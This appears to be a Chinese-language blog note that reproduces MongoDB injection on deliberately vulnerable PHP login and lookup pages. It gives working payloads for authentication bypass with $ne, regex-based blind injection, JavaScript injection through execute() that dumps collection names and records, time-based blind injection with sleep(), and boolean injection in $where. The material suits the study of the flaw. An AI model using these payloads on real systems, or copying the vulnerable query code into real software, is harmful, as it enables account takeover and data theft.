mongoDB注入

最近看了些关于mongoDB注入的东西,试着复现一下做个笔记

什么是mongoDB

mongoDB是属于NoSQL数据库一类,但它还是很偏向于关系型数据库,相对与传统的关系型数据库,键值间的关系又没有那么强

mongoDB的基础

这里就不详细写了,百度一下有一堆的资源
MongoDB教程

万能密码(?)

这块的操作感觉和万能密码很像,下面是一个登录界面的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$m = new MongoClient();
$db = $m->age;
$collection = $db->age;
?>
<html>
<head>
</head>
<body>
<form action='' method='post'>
<input type='text' name='user'>
<input type='password' name='psw'>
<input type="submit">
</form>
</body>
</html>
<?php

$user = $_POST['user'];
$psw = $_POST['psw'];

if($user&&$psw){
$data = array("user"=>$user,"psw"=>$psw);
$a = $collection->findOne($data);
echo 'Welcome '.$a['user'];
}

?>

这里我们输入用户的账号和密码后,正确就会返回我们的用户名
假若我们知道管理员的账号名是admin,那我们怎么进行绕过登录

首先,在mongoDB中,有这么个条件操作符$ne,它指的是!
在查询的语句中,当出现key:{$ne:val}时,会被等价于key!=val,这时就能把非val的数据查找出来

读源码就能知道,只要我们能实现psw!=$_POST['psw'],那我们就能随意登录任意账号。要实现这一点,就要利用在php中,会将数组中的数组解析为["xxx"=>["xxx"=>"xxx"]]。再经过findOne后就会变成{xxx:{xxx:xxx}}

所以我们只要传入user=admin&psw[$ne]=1,就能任意登录成功

盲注登录

先上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
$m = new MongoClient();
$db = $m->age;
$collection = $db->age;
?>
<html>
<head>
</head>
<body>
<form action='' method='post'>
<input type='text' name='user'>
<input type='password' name='psw'>
<input type="submit">
</form>
</body>
</html>
<?php

$user = $_POST['user'];
$psw = $_POST['psw'];

if($user&&$psw){
if(is_array($psw)||is_array($user)){
$data = array("user"=>$user,"psw"=>$psw);
$a = $collection->find($data);
if($a->count()>0){
echo "maybe user and psw is right, but login fail";
}else{
echo "login fail";
}
}else{
$data = array("user"=>$user,"psw"=>$psw);
$a = $collection->findOne($data);
if($a){
echo "login success";
}else{
echo "login fail";
}
}

}

?>

读源码我们可以知道,这里对用户名和密码是否是数组进行了判断,若是数据就算是用户密码正确我们也无法登录

然后给出的信息只有登录成功与失败两种,那我们可以尝试盲注
在mongoDB中,我们可以用$regex这个标识符来对要查询的值进行正则匹配

这题我们就可以构造
user=admin&psw[$regex]=^a
这样来进行盲注

回显爆表、列、值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<html>
<head>
</head>
<body>
<form action='' method='post'>
<input type='text' name='user'>
<input type="submit">
</form>
</body>
</html>
<?php

$user = $_POST['user'];

$query = "var data = db.age.findOne({user:'$user'});return data;";
$mongo = new mongoclient();
$db = $mongo->age;
$data = $db->execute($query);

if ($data['ok'] == 1) {
if ($data['retval']!=NULL) {
echo 'psw:'.$data['retval']['psw']."</br>";
}else{
echo '未找到';
}
}else{
echo $data['errmsg'];
}

?>

这份源码简单来说就是通过拼接字符串来进行sql查询。由于低版本的excute()函数能够使用//注释,导致了我们可以利用注入【由于我用的是高版本这里就没有示例,写一下思路和一些推测

首先我们先试出服务器返回的数据参数的数量与名字
user=test’});return{something:1}}//
通过这句查询,若有开启报错的话我们就可以知道返回的数据的信息。若没报错也许可以通过抓包来得到返回了多少数据

得到返回数据的参数数量后,我们就构造
user=test'});return{user:2};//
这时会和sql注入中union select一样回显出2

然后有这么几个函数

1
2
3
db.version()	获得数据库版本
db.getName() 获得数据库名字
db.getCollectionNames() 获得库中所有集合名

通过这几个函数来构造payload
user=test'});return {user:tojson(function)};//
我们就可以得到想要的许多信息【其实查了一下还有一些函数是可以删库的,跑路警告

最后用
user=test'});return {user:tojson(db.test.find()[0])};//
就能将数据一个个爆出来

不过上面也说了,注释只能在低版本情况下使用。当为高版本时,这种注入会报错。于是我们可以尝试闭合语句来进行爆库

user=1'});return{psw:1};({a:'9

像上面这条语句这样,尽管return后的代码是不能执行的,但我们依旧要保持语句语法的正确才能成功执行

获得所有集合名

user=1'});return{psw:tojson(db.getCollectionNames())};({a:'9

获得数据

user=1'});return{psw:tojson(db.age.find()[0])};({a:'9

时间盲注

除了上面闭合的这种方法,我们可以使用高版本下提供的sleep函数进行时间盲注。就算是不回显我们也照样能爆数据

一个比较简单的例子
user=test'});if (db.version()>"0") {sleep(10000); exit;}var b=({a:'1
这句就是当版本高于0时延时10秒,然后用一个b参数来闭合语句

我们可以看到这里成功延时了10秒

利用这个漏洞,我们试着查一下集合名长度
user=test'});if (db.getCollectionNames()[1].length>0) {sleep(10000); exit;}var b=({a:'1

一个个尝试获得第二个集合名长度
然后再查集合名
user=test'});if (db.getCollectionNames()[1][0]=="a") {sleep(10000); exit;}var b=({a:'1

也是一个个试查出集合名
脚本当然是自己写啦【手动滑稽

布尔注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<html>
<head>
</head>
<body>
<form action='' method='post'>
<input type='text' name='user'>
<input type="submit">
</form>
</body>
</html>
<?php

$user = $_POST['user'];

$mongo = new mongoclient();
$db = $mongo->age;
$collection = $db->age;
$function = "function(){if(this.user == '$user')return true}";
$result = $collection->find(array('$where'=>$function));

if ($result->count()>0) {
echo '该用户存在';
}else{
echo '该用户不存在';
}

读源码,使用了mongoDB自定义函数的功能,当存在if判断为正确时就返回存在

这里我们就可以用上布尔盲注,和登录那里不太一样,这里是可以去爆数据的

像这样
test'&&db.getCollectionNames().length>0&&'1'=='1
但不知道为什么我试的时候总报错db未定义,估计是把这个漏洞补上了吧,再看看有没有什么新姿势吧